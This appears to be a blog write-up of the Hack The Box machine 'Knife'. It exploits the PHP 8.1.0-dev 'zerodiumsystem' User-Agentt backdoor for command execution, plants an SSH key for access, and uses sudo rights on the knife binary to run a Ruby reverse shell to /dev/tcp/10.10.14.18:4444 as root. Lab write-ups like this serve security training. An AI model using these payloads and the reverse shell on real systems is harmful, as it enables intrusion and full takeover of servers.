I'll be honest, this box was so easy that I actually found it quite hard! The foothold is so easy that I over estimated it before going right back to the basics and finding the vulnerability. Defiantly a lesson to be learned here: If the easy box is rated "Piece Of Cake" and "Very Easy", don't over think it and just go for the very basics... Like googling for PHP vulnerabilities!
As per usual let's start with adding this box into /etc/hosts
and running an nmap scan:
felixm@blackbear:~$ nmap -sV -sC 10.10.10.242 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache/2.4.41 (Ubuntu) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Emergent Medical Idea
The only service appears to be Apache on port 80:
This seems to be a modern landing page for a medical related website. Note that there are actually no links on the page, those "links" in the top right actually don't do anything. Let's try and enumerate the software this page is built with. To do this I use the Firefox plugin Wappalyzer.
The PHP version 8.1.0 stood out to me as it seemed higher than the current released version. Checking the official PHP website
can can observe that the current official release is 8.0.7
. Searching PHP 8.1.0
comes up with information
about a backdoor placed in the PHP 8.1.0-dev
release (for futher reading see this
PHP news post).
Here is a great Git repository that explains how it works. TLDR:
the backdoor looked for "User-Agentt": "zerodiumsystem('"RCE PAYLOAD HERE"');"
as a header field (Note that Zerodium (the exploit aggregator)
has stated this had nothing to do with the backdoor). Interestingly the returned data is printed to screen on the actual webpage.
To actually exploit this backdoor you can of course, use the script in the Git Repository linked above, create your own script, or simply just exploit this within the browser itself.
To exploit this in the browser open Developer Tools and go to the Network tab. Right click the GET
request for index.php
and click
Edit & Resend. Then add the backdoor header field:
To see the response you can click the modified GET
request that was just sent and view its raw response and you should see the output on line 1:
When I tried to just put a reverse shell (Tried bash and Netcat) straight into this Zerodiumsystem payload I got no response so I decided to just drop my SSH public
key into the users .ssh/Authorised_keys
file using this: echo "PUT PUBLIC SSH KEY HERE" >> /home/james/.ssh/authorised_keys
then attempting to SSH.
felixm@blackbear:~$ ssh james@knife.htb Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-72-generic x86_64) james@knife:~$ whoami && id james uid=1000(james) gid=1000(james) groups=1000(james)
Running sudo -l
shows (root) NOPASSWD: /usr/bin/knife
meaning we can run a binary called "knife" as root without a password. Looking into this file we
can see the following:
#!/opt/chef-workstation/embedded/bin/ruby --disable-gems #--APP_BUNDLER_BINSTUB_FORMAT_VERSION=1-- require "rubygems" begin # this works around rubygems/rubygems#2196 and can be removed in rubygems > 2.7.6 require "rubygems/bundler_version_finder" rescue LoadError # probably means rubygems is too old or too new to have this class, and we don't care end # avoid appbundling if we are definitely running within a Bundler bundle. # most likely the check for defined?(Bundler) is enough since we don't require # bundler above, but just for paranoia's sake also we test to see if Bundler is # really doing its thing or not. unless defined?(Bundler) && Bundler.instance_variable_defined?("@load") ENV["GEM_HOME"] = ENV["GEM_PATH"] = nil unless ENV["APPBUNDLER_ALLOW_RVM"] == "true" ::Gem.clear_paths gem "activesupport", "= 5.2.4.5" gem "addressable", "= 2.7.0" gem "appbundler", "= 0.13.2" {MANY MORE IMPORTS HERE} gem "wmi-lite", "= 1.0.5" gem "yard", "= 0.9.26" gem "chef", "= 16.10.8" gem "bundler" # force activation of bundler to avoid unresolved specs if there are multiple bundler versions spec = Gem::Specification.find_by_name("chef", "= 16.10.8") else spec = Gem::Specification.find_by_name("chef") end unless Gem::Specification.unresolved_deps.empty? $stderr.puts "APPBUNDLER WARNING: unresolved deps are CRITICAL performance bug, this MUST be fixed" Gem::Specification.reset end bin_file = spec.bin_file("knife") Kernel.load(bin_file)
At first glance this appears to be some kind of Ruby file. Looking at the first line: the interpreter-directive seems to be pointing to a program in /opt
called chef-workstation.
Now I genuinely searched for about 10 minutes... I went on the Chef Docs and the Learn Chef website, still
have no idea what the fuck it is. But thankfully searching "Ruby Chef Knife" will bring you to this docs page where we
can see an interesting sub command for knife:
knife exec: Use the `knife exec` subcommand to execute Ruby scripts in the context of a fully configured Chef Infra Client. Use this subcommand to run scripts that will only access Chef Infra Server one time (or otherwise very infrequently) or any time that an operation does not warrant full usage of the knife subcommand library.
This seems to suggest that we can just execute a ruby script through knife, which in turn is executed by root. With this information we can create a .rb
file in the /tmp
directory
with a reverse shell and see if it calls back with a root shell:
#!/usr/bin/env ruby exec "/bin/bash -c '/bin/bash >& /dev/tcp/10.10.14.18/4444 0>&1'"
Then execute that file with sudo knife exec /tmp/exploit.rb
and once your shell returns you should be:
root@knife:~# whoami && id root uid=0(root) gid=0(root) groups=0(root)
Right, normally I post tips or things I've learned here but seriously. Imagine knowing only that Ruby is a programming language and nothing else... Go to chef.io or docs.chef.io and just tell me what it is. It cost me so much time just attempting to figure out what it actually was...